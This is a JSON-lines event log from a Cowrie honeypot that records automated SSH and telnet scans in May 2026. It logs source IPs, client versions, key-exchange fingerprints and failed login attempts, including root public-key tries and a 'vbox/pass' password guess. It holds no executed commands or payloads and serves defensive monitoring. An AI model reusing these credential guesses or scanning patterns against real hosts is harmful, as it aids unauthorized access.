{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:c3:d3:89:9f:5f:ba:b2:96:3e:1a:39:b4:e6:37:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOd54LL3mkgpYQxPJr5dUNoikRTk32GHHN+LhB+z38KKFqnEFeggtjT94OK5GrB+JJwub19TskPCNIavYHy8kjr/GFvbMl629qd/GvCQA3IsBkn2BC1GBlIzgrt/jUwSyHhaq/L3b0lyecfuDuf7QiFNLnp0ruPlcgmK2pSBsP79NGUn7GhMNKJ0lNchKopQkdg72IEuuA9mufXd2sqL5Co/E2Ppa8KhwPiLp6Gzx5zHVp8GlU2KS5UQwtR5ht6tqEFYsE9Mp71aMmzSDnFE4aAr+FYYeMdLs0NTw4XjqoRP68Q5Chtrn4uirktMsFlE9npFUr/r8ZybLJ2U3RDYl6TXWKtkT42EGfpLOpkkEyaApQ2l36I0OxJBQXnvH5V2Z2WPXxxh40HOt1Gm5bcSbGn8UmgX8oVTbVwYFoPjXiJSo9fHWazHZxYUJ/LYds2pgW5yR7GHG5qqaBZk/e2WcopWLpJ0KKfXR/TVfBsB6SlQTQFW4ZhygHZcNqcHFr0e55Ye2Z55Y28LOqCiy2wIu9+8EXL8OqQX5ToCsFB/SJjBJ1BF8U3XRH73/MGSYfgS4dLtX0YO6Q3k51t5GnrN4nlgRajHsbXQBByVg9QecA5mfrjdvEw+bfmbdLWvP8yAXuKKJROeDkBGL0OBH6+dp4QmzBLZlm0i1oirJ+Exg+hQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.240623Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.323648Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":37648,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbcca8fc0b5f","protocol":"ssh","message":"New connection: 120.28.109.188:37648 (159.203.135.109:22) [session: dbcca8fc0b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:14.657873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:14.663487Z","src_ip":"120.28.109.188","session":"dbcca8fc0b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:14.924435Z","src_ip":"120.28.109.188","session":"dbcca8fc0b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"pass","message":"login attempt [vbox/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:15.991569Z","src_ip":"120.28.109.188","session":"dbcca8fc0b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.254415Z","src_ip":"120.28.109.188","session":"dbcca8fc0b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.173","src_port":42798,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6f634bbdfb","protocol":"ssh","message":"New connection: 65.60.61.173:42798 (10.17.0.5:22) [session: 0e6f634bbdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.388421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.393720Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.421715Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:96:50:c7:11:13:5a:ef:0b:de:8c:59:64:22:a7:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5eV7151kpF3oRHQay46FrNC8KoXhO5Vk6YHHMjlfqAMS9HsSQUbn35EKNlHijxaCwQIPpsaZ+JjPBw7nDXuBUx1JBRFT0PFX18D3GAvvT0V6O8t75/h/DupAoCBfYt6azSBaIdClah33/ZgfbEqesnw68ajpdaFrlDhnr7jsFHKALFUpF3D7WJYaxUbbj5Gul5at/Mv9DPAWD33ukuS0+FGFG4dN1PgYqsMb8JW2+kXKErnQ6sjHrkhoL1Nj6fA82XZDBiRPOEEIx4gFzuVsa3mEbnOG+BwBmQhKz1PL8LTj7aW5+lpcDNrJ8kOAysRq0W+NJnJwjyc//hCmJDbAx77PPzIFaPljrlvm3lhQdPLt3+LgjhJjtx/idtc0z1i80gbW1Q9+V9WWqSGd3myvfQh8KM3LjTwdfkHGWcy2JcNrybpwKL/Y4hRE0QNagThoEr8hlWtrwbY1ugBndxnAnrWIFqgj4MuHHCA15ZAt6ErnUzv1J5viOjn+AaNR9Z/M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:96:50:c7:11:13:5a:ef:0b:de:8c:59:64:22:a7:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.536050Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:96:50:c7:11:13:5a:ef:0b:de:8c:59:64:22:a7:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5eV7151kpF3oRHQay46FrNC8KoXhO5Vk6YHHMjlfqAMS9HsSQUbn35EKNlHijxaCwQIPpsaZ+JjPBw7nDXuBUx1JBRFT0PFX18D3GAvvT0V6O8t75/h/DupAoCBfYt6azSBaIdClah33/ZgfbEqesnw68ajpdaFrlDhnr7jsFHKALFUpF3D7WJYaxUbbj5Gul5at/Mv9DPAWD33ukuS0+FGFG4dN1PgYqsMb8JW2+kXKErnQ6sjHrkhoL1Nj6fA82XZDBiRPOEEIx4gFzuVsa3mEbnOG+BwBmQhKz1PL8LTj7aW5+lpcDNrJ8kOAysRq0W+NJnJwjyc//hCmJDbAx77PPzIFaPljrlvm3lhQdPLt3+LgjhJjtx/idtc0z1i80gbW1Q9+V9WWqSGd3myvfQh8KM3LjTwdfkHGWcy2JcNrybpwKL/Y4hRE0QNagThoEr8hlWtrwbY1ugBndxnAnrWIFqgj4MuHHCA15ZAt6ErnUzv1J5viOjn+AaNR9Z/M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.539929Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:05:3b:cf:5f:a8:ac:10:d5:03:82:92:4f:91:9f:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Yu2zHoD9i1HyGoU1k4Jb7jqa7TM3+EjjrPLMZoelOMJa7/ZiPz1ocb00rkh0boauOaSnwA/EIwmZSJBj13tFS9jYN1GenxdQSuSo+DqfvDYiM70Q7WFhAHqF9+7yZnlMw2dOmVjPEsB1AQ6PZhSMpO0zeJDcfYVcGGjxJ10vxxSqCXNavK/iU7H7IkGDNA1UeC55WVk+1G+qtsehCRPzr5udfpCGc3RxiMLJCAk3PSpiv8MnIekXpIZjwu5kdjeFs215ic7hwfTXX3DbN2AZJquwwl7K0ZCK0UWHm7wY8aXf1pu8y4lNOqhLd/kSdvYr89BvDag6qaKXA/t9Kdin","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:05:3b:cf:5f:a8:ac:10:d5:03:82:92:4f:91:9f:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.568639Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:05:3b:cf:5f:a8:ac:10:d5:03:82:92:4f:91:9f:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Yu2zHoD9i1HyGoU1k4Jb7jqa7TM3+EjjrPLMZoelOMJa7/ZiPz1ocb00rkh0boauOaSnwA/EIwmZSJBj13tFS9jYN1GenxdQSuSo+DqfvDYiM70Q7WFhAHqF9+7yZnlMw2dOmVjPEsB1AQ6PZhSMpO0zeJDcfYVcGGjxJ10vxxSqCXNavK/iU7H7IkGDNA1UeC55WVk+1G+qtsehCRPzr5udfpCGc3RxiMLJCAk3PSpiv8MnIekXpIZjwu5kdjeFs215ic7hwfTXX3DbN2AZJquwwl7K0ZCK0UWHm7wY8aXf1pu8y4lNOqhLd/kSdvYr89BvDag6qaKXA/t9Kdin","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.572984Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:7c:2e:24:77:d9:af:5c:aa:8e:30:2e:93:00:9f:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyzjhyGZoqMEmu3xmBvNvJeYhLzjOQXe3Gr7XZXIoId/gty2QNWGhuE8JhO3TchHg5I1LYqoywKO0+gn6E7A6zYcrcz8g3GUBaApf5+wyFWBdc4SkDv9p2QpO0sPOXbjEk9QOVMtJrGVFgDVubOa/IO50WWfFUCL784YC1ChQdcIfsXoPs/PUhf5G/gFc9cyV+sSHuThSORWdQKb5xvnfFNf4mdPNd/KYj3+eL2hsieEr+nLulGXvARBIpqN5WBedDrOUcznEVm7JUM7q0szbzY5yVXN2e74ULoxotoFNaQeWjQ0a7nVo2FdasirFUNSk7SSDU36FFMe1Vtdhq6eQFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:7c:2e:24:77:d9:af:5c:aa:8e:30:2e:93:00:9f:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.601388Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:7c:2e:24:77:d9:af:5c:aa:8e:30:2e:93:00:9f:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyzjhyGZoqMEmu3xmBvNvJeYhLzjOQXe3Gr7XZXIoId/gty2QNWGhuE8JhO3TchHg5I1LYqoywKO0+gn6E7A6zYcrcz8g3GUBaApf5+wyFWBdc4SkDv9p2QpO0sPOXbjEk9QOVMtJrGVFgDVubOa/IO50WWfFUCL784YC1ChQdcIfsXoPs/PUhf5G/gFc9cyV+sSHuThSORWdQKb5xvnfFNf4mdPNd/KYj3+eL2hsieEr+nLulGXvARBIpqN5WBedDrOUcznEVm7JUM7q0szbzY5yVXN2e74ULoxotoFNaQeWjQ0a7nVo2FdasirFUNSk7SSDU36FFMe1Vtdhq6eQFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.606007Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:3f:0c:27:27:a4:9b:95:26:9f:9f:c0:c2:e2:43:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUe12klb+wSBfkWRnlxzAZ3r2s+xRYzHE/mDABjiDpgidEPlmCCd7dNQDOQx4XH9rwmNVz6hwHHw45eGzDZtqHz3ijNJqBvxa9JigSbsIyJkdUTsH1uPMrzw9jWhyqlB96MvOMQcNxfkgrNVmhC/PgQXroeMLfc5Vxn+CxjCTOA34dJX2w/HU+jfjjYBTYRSRhPttV2DGGvu9IV55J5EG/k8doKAA2urph/svx3Gt6qS0d+kMXS08j1l74ss55ivolEcCRklUx4BUz/kqfbnnFHV3rUr/q9IMe9GGS2vXbYosemR9qUalC+kXnENNQyvXQEdsaUPl9L76fXl4iL1Grp29xaOoLLaUu3vl1rOg9aQzZ61voIP31EdZu8VHDk2eqNMHTXaPgk4DxaS6Ypy5K/8LW3Y9kD4RMMZu9kISVSOkZDeEeie1moWRiWtIvkFWeWjAI1PRC9zzgOZgjihTZecsS0CPrWk/SXX03bmK0AFhyE2KG7QUfIj36I1l5qVdYSdY+msI2VEyL8sgNOcaMkg2Bxeefdre4SKezBYuN4DVAjiSQy+N84hMSRDJO2tISTUUl41co8CHvm0i4DpWIZat96Uj1FphyYQE51LpJwShN1aD53HsnGTabS0r3rhGeVClSo04DasAl1wOfqYt8sEq/FMkQAyGDzr8e6YMc+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:3f:0c:27:27:a4:9b:95:26:9f:9f:c0:c2:e2:43:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.635676Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:3f:0c:27:27:a4:9b:95:26:9f:9f:c0:c2:e2:43:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUe12klb+wSBfkWRnlxzAZ3r2s+xRYzHE/mDABjiDpgidEPlmCCd7dNQDOQx4XH9rwmNVz6hwHHw45eGzDZtqHz3ijNJqBvxa9JigSbsIyJkdUTsH1uPMrzw9jWhyqlB96MvOMQcNxfkgrNVmhC/PgQXroeMLfc5Vxn+CxjCTOA34dJX2w/HU+jfjjYBTYRSRhPttV2DGGvu9IV55J5EG/k8doKAA2urph/svx3Gt6qS0d+kMXS08j1l74ss55ivolEcCRklUx4BUz/kqfbnnFHV3rUr/q9IMe9GGS2vXbYosemR9qUalC+kXnENNQyvXQEdsaUPl9L76fXl4iL1Grp29xaOoLLaUu3vl1rOg9aQzZ61voIP31EdZu8VHDk2eqNMHTXaPgk4DxaS6Ypy5K/8LW3Y9kD4RMMZu9kISVSOkZDeEeie1moWRiWtIvkFWeWjAI1PRC9zzgOZgjihTZecsS0CPrWk/SXX03bmK0AFhyE2KG7QUfIj36I1l5qVdYSdY+msI2VEyL8sgNOcaMkg2Bxeefdre4SKezBYuN4DVAjiSQy+N84hMSRDJO2tISTUUl41co8CHvm0i4DpWIZat96Uj1FphyYQE51LpJwShN1aD53HsnGTabS0r3rhGeVClSo04DasAl1wOfqYt8sEq/FMkQAyGDzr8e6YMc+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.641220Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:c3:d3:89:9f:5f:ba:b2:96:3e:1a:39:b4:e6:37:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOd54LL3mkgpYQxPJr5dUNoikRTk32GHHN+LhB+z38KKFqnEFeggtjT94OK5GrB+JJwub19TskPCNIavYHy8kjr/GFvbMl629qd/GvCQA3IsBkn2BC1GBlIzgrt/jUwSyHhaq/L3b0lyecfuDuf7QiFNLnp0ruPlcgmK2pSBsP79NGUn7GhMNKJ0lNchKopQkdg72IEuuA9mufXd2sqL5Co/E2Ppa8KhwPiLp6Gzx5zHVp8GlU2KS5UQwtR5ht6tqEFYsE9Mp71aMmzSDnFE4aAr+FYYeMdLs0NTw4XjqoRP68Q5Chtrn4uirktMsFlE9npFUr/r8ZybLJ2U3RDYl6TXWKtkT42EGfpLOpkkEyaApQ2l36I0OxJBQXnvH5V2Z2WPXxxh40HOt1Gm5bcSbGn8UmgX8oVTbVwYFoPjXiJSo9fHWazHZxYUJ/LYds2pgW5yR7GHG5qqaBZk/e2WcopWLpJ0KKfXR/TVfBsB6SlQTQFW4ZhygHZcNqcHFr0e55Ye2Z55Y28LOqCiy2wIu9+8EXL8OqQX5ToCsFB/SJjBJ1BF8U3XRH73/MGSYfgS4dLtX0YO6Q3k51t5GnrN4nlgRajHsbXQBByVg9QecA5mfrjdvEw+bfmbdLWvP8yAXuKKJROeDkBGL0OBH6+dp4QmzBLZlm0i1oirJ+Exg+hQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:c3:d3:89:9f:5f:ba:b2:96:3e:1a:39:b4:e6:37:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.670060Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:c3:d3:89:9f:5f:ba:b2:96:3e:1a:39:b4:e6:37:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOd54LL3mkgpYQxPJr5dUNoikRTk32GHHN+LhB+z38KKFqnEFeggtjT94OK5GrB+JJwub19TskPCNIavYHy8kjr/GFvbMl629qd/GvCQA3IsBkn2BC1GBlIzgrt/jUwSyHhaq/L3b0lyecfuDuf7QiFNLnp0ruPlcgmK2pSBsP79NGUn7GhMNKJ0lNchKopQkdg72IEuuA9mufXd2sqL5Co/E2Ppa8KhwPiLp6Gzx5zHVp8GlU2KS5UQwtR5ht6tqEFYsE9Mp71aMmzSDnFE4aAr+FYYeMdLs0NTw4XjqoRP68Q5Chtrn4uirktMsFlE9npFUr/r8ZybLJ2U3RDYl6TXWKtkT42EGfpLOpkkEyaApQ2l36I0OxJBQXnvH5V2Z2WPXxxh40HOt1Gm5bcSbGn8UmgX8oVTbVwYFoPjXiJSo9fHWazHZxYUJ/LYds2pgW5yR7GHG5qqaBZk/e2WcopWLpJ0KKfXR/TVfBsB6SlQTQFW4ZhygHZcNqcHFr0e55Ye2Z55Y28LOqCiy2wIu9+8EXL8OqQX5ToCsFB/SJjBJ1BF8U3XRH73/MGSYfgS4dLtX0YO6Q3k51t5GnrN4nlgRajHsbXQBByVg9QecA5mfrjdvEw+bfmbdLWvP8yAXuKKJROeDkBGL0OBH6+dp4QmzBLZlm0i1oirJ+Exg+hQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.674973Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:17.705610Z","src_ip":"65.60.61.173","session":"0e6f634bbdfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.30404210090637,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:19.219761Z","src_ip":"129.232.238.42","session":"5ea13c9e6d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":61597,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eb442dcca74","protocol":"ssh","message":"New connection: 79.127.181.103:61597 (10.17.0.5:22) [session: 7eb442dcca74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:26.648244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:27.499508Z","src_ip":"79.127.181.103","session":"7eb442dcca74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:27.707585Z","src_ip":"79.127.181.103","session":"7eb442dcca74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:27.713566Z","src_ip":"79.127.181.103","session":"7eb442dcca74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.38469958305359,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:32.134301Z","src_ip":"129.232.238.42","session":"fbd84439d859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.89928340911865,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:34.655575Z","src_ip":"212.55.149.117","session":"a5c19826ce54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61573,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a844911bd09","protocol":"telnet","message":"New connection: 212.55.149.117:61573 (10.17.0.5:23) [session: 6a844911bd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:57.960223Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42072,"dst_ip":"159.203.135.109","dst_port":23,"session":"c03bc8766f08","protocol":"telnet","message":"New connection: 128.199.8.54:42072 (159.203.135.109:23) [session: c03bc8766f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:01.662404Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58612,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c712d3486d8","protocol":"ssh","message":"New connection: 87.251.64.176:58612 (10.17.0.5:22) [session: 8c712d3486d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:10.759028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:40:10.769844Z","src_ip":"87.251.64.176","session":"8c712d3486d8","protocol":"ssh"}
